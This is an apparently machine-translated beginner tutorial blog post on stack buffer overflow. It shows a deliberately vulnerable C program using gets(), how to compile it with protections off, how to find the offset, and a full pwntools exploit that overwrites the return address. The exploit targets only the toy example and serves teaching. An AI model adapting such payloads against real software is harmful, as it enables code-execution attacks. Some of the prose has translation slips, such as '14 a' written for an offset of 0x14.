PWN entry series stack overflow

Keywords: Python Cyber Security security hole

PWN entry series (2)

Stack overflow

Stack overflow means that the number of bytes written by the program to a variable in the stack exceeds the number of bytes applied by the variable itself, resulting in the value of the variable in the adjacent stack being changed (overwritten). It is a specific buffer overflow vulnerability, similar to heap, bss overflow, etc. The premise is:
·

  • The program must write data to the stack
  • The program does not control the size of the input data of a function or a module properly.
Basic example

Take a simple example:

#include <stdio.h>
#include <string.h>
void success() { puts("You Hava already learned it "); }
void vulnerable() {
  char s[12];
  gets(s);
  puts(s);
  return;
}
int main(int argc, char **argv) {
  vulnerable();
  return 0;
}

The meaning of the program is very simple. It mainly reads the string and then outputs it. However, we hope to control the success function to output "you learned stack overflow"
We use the command to compile:

 gcc -m32 -fno-stack-protector stack-example.c -o stack-example 

It is found that the report is wrong???

In file included from /usr/include/stdio.h:27:0,
                 from stack-example.c:1:
/usr/include/features.h:367:25: fatal error: sys/cdefs.h: No such file or directory
compilation terminated.

This is due to the error of compiling 32-bit programs in 64 bit Ubuntu system
resolvent:
Download the 32-bit compiler library

sudo apt-get purge libc6-dev
sudo apt-get install libc6-dev
sudo apt-get install libc6-dev-i386

Run the command again after installation:

 gcc -m32 -fno-stack-protector stack-example.c -o stack-example 

Compilation succeeded!
In gcc compilation instructions
-m32 refers to generating 32-bit programs
-Fno stack protector is a stack overflow protection measure that is not enabled
That is, canary is not generated (you will find this in checksec)
We can use gcc -v to see some parameters of gcc
In order to introduce the utilization of overflow more conveniently, you must close the PIE and use the instruction GCC - no PIE
After successful compilation
Use the checksec tool to check the compiled file:

checksec stack-example
[*] '/home/giantbranch/Desktop/stack-example'
    Arch:     i386-32-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x8048000)

It can be seen that PIE protection is not enabled. In addition, there is ASLR(Address space layout randomization) under LInux, that is, the mechanism of address randomization. In short, even if PIE protection is enabled, if the system does not enable ASLR, the base address cannot be disrupted.
After checking sec, use IDA PRO to decompile the binary program and check the vulnerable function
Drag the program into IDA pro-32
View the function and press f5 to decompile

int vulnerable()
{
  char s; // [sp+4h] [bp-14h]@1

  gets(&s);
  return puts(&s);
}

The distance between the string s read by this culvert number and ebp is 0x14
The corresponding structure is:
±----------------+
|Return address|
±----------------+
| saved ebp |
ebp—>±----------------+
| |
| |
| |
| |
| |
| |
s,ebp-0x14–>±----------------+

And we can also get the address of success
by


So if the string S we read is

0x14*'a'+'bbbb'+success_addr

that
Since the feature of the gets function is to read / n, i.e. enter, then we can use 14 a to overwrite s to ebp, and then save_ Write bbbb in ebp, and then overwrite retaddr with success - addr
PWN program can be dropped
At this time, the corresponding stack structure is:
±----------------+
| 0x0804843B |
±----------------+
| bbbb |
ebp—>±----------------+
| |
| |
| |
| |
| |
| |
s,ebp-0x14–>±----------------+
It should be noted that
In the computer memory, each value is stored in bytes. Generally, 32-bit programs are stored in small end order, that is
success_ The form of addr (0x0804843b) in memory is
\x3b\x84\x04\x08
However, we can't input these addresses directly in the terminal, because when we input \. X is also a single character, so we should try to input \ x3b as a character. At this time, we should use a library dedicated to PWN under python
pwntools!
Basic usage of pwntools:

send(data): send data
sendline(data) : Sending a line of data is equivalent to adding at the end\n      
recv(numb=4096, timeout=default) : The number of bytes received is given,timeout Specify timeout
recvuntil(delims, drop=False) : Received delims of pattern
recvline(keepends=True) : Received\n,keepends Specify retention\n
recvall() : Received EOF
recvrepeat(timeout=default) : Received EOF or timeout
interactive() : And shell interactive

ELF file

e = ELF('/bin/cat')
print hex(e.address)  # Base address of file mount
0x400000
print hex(e.symbols['write']) # Function address
0x401680
print hex(e.got['write']) # Address of GOT table
0x60b070
print hex(e.plt['write']) # Address of PLT
0x401680

Commonly used in problem solving

context.arch = 'amd64'   //Set schema
context.log_level = 'debug' //Show log details
libc = ELF('./libc-2.24.so')  //Load library file

The basic knowledge about pwntools is network transportation, not original.

The basic EXP made by pwntools is as follows:

##coding=utf8
from pwn import *
## Construct objects that interact with programs
sh = process('./stack-example')
success_addr = 0x0804843b
## Construct payload
payload = 'a' * 0x14 + 'bbbb' + p32(success_addr)
print p32(success_addr)
## Send string to program
sh.sendline(payload)
## Convert code interaction to manual interaction
sh.interactive()

Execute under Ubuntu and you can see:

You can see that we have successfully executed the success function!
PWN!!

summary

(1) Find hazard function:

input

gets,Read one line directly and ignore'\x00'
scanf
vscanf

output
sprintf

character string

strcpy,String copy, encountered'\x00'stop it
strcat,String splicing, encountered'\x00'stop it
bcopy

Then find the distance between the operated address and the address we need to cover. The usual method is to use IDA to check and calculate the address offset by ourselves. General variables have the following index modes

  • The index relative to the stack base address can be obtained directly by viewing the EBP relative offset
  • The index corresponding to the stack top pointer generally needs to be debugged, and then it will be converted to the first type.
  • Direct address index is equivalent to giving an address directly.
    We will have the following coverage requirements:
  • Override the return address of the function and check the EBP
  • Override the contents of a variable on the stack, such as int overflow in the attack and defense world novice zone
  • Overwrite the contents of specific variables or addresses according to the actual implementation
    That's all for a simple understanding of overflow~~~
    If you have any questions, please chat with the blogger ~!

Posted by NINTHTJ on Thu, 02 Dec 2021 10:39:48 -0800